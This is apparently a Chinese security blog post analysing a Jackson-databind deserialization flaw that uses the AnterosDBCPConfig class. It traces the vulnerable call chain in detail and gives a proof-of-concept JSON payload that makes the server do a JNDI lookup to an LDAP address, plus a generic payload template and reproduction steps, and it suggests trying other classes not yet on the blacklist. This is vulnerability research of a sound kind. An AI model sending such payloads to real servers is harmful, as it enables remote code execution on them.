soytn1ce
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

相关介绍
Jackson-databind数据绑定模块,2.10.2到2.9.10.3之间存在反序列化利用漏洞,可利用类为AnterosDBCPConfig
AnterosDBCPConfig类中的healthCheckRegistry和metricRegistry属性的set方法,会根据传入的值调用lookup方法
原理分析
主要看一下readValue()触发的流程,关于json转对象的反序列化,主要是对存在反序列化漏洞的类的属性赋恶意值
输入的json值为["br.com.anteros.dbcp.AnterosDBCPConfig", {"healthCheckRegistry": "ldap://localhost:43658/Calc"}]
完整的调用链
在这之前看一下,JsonToken根据传入的json格式判断,具体判断在ReaderBaseJsonParser的nextToken
根据传入json的首位的ascii值判断,这里传入的是[就是91,case 91所以给的值是START_ARRAY,如果给的{标准的json格式给的就是START_OBJECT
漏洞触发需要开启enableDafaultTyping,这个方法影响ObjectMapper的_deserializationConfig和_serializationConfig属性,这里主要看一下with这个自定义方法,这个方法可以保证根据选择指定对应的Builder(具体可以看一下enableDefaultTyping)的解释
对比一下开启和未开启enableDefaultTyping方法的mapper,可以发现_base属性的_typeResolverBuilder,未开启是null,开启是DefaultTypeResolverBuilder
ObjectMapper的readValue调用进到_readMapAndClose,这里判断token格式不为空即数据格式为数组或json,同时开头字符不为}或]进到else里的deser.deserialize
跟到AsArrayTypeDeserializer的deserializeTypedFromAny,进到_deserialize
这里跟过来主要看一下判断逻辑和具体传值
第一个判断默认返回的false,没有额外赋值设置,第一个if逻辑不进去不会return
这里主要是根据传入数据给TokenBuffer赋值,type由_locateTypeId生成;此处_typeIdVisible是flase,不会进入下面这个if判断,直接到下面的deser.deserialize
传入的类型是string,每个类型都有对应的Token id值,具体可以看JsonToken这个枚举
这里因为是string,所以返回的result由传入的JsonParser的getText获取
这里的typeId最后是由TextBuffer的contentsAsString方法获得,传入的payload的载体就是TextBuffer,这里最后给_textBuffer赋值的就是_finishString方法
根据双引号截取第一个值,所以这里的_textBuffer就是传的第一个双引号里的值
第一个双引号包起来的值决定反序列化类的类型
继续跟到后面的vanillaDeserialize,这里开始解析后面的json值,拿到filed值healthCheckRegistry,这里的prop不为空进到deserializeAndSet
deserializeAndSet里的_setter.invoke,即调用setHealthCheckRegistry传值payload里json部分的value
关于AnterosDBCPConfig的setHealthCheckRegistry,传过来的地址会进到getObjectOrPerformJndiLookup
(ˉ▽ˉ;)…这里lookup了
这个类的metricRegistry也是一样的
具体的黑名单ban可以查看SubTypeValidator,之后的版本AnterosDBCPConfig类已经被ban了
Poc
对此类赋值的话,只要是没有在黑名单里被ban调的类应该都可以尝试一下?
主要格式是json数组,以[]包括需要反序列化的数组,第一个双引号截断的为需要反序列化的类名,后面的则是需要指定属性的json形式
具体格式如下:
[“unsafe_class_name”,{“unsafe_filed”:”evil_value”}]
漏洞复现
起环境
访问/rce/index,提交payload
连接
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)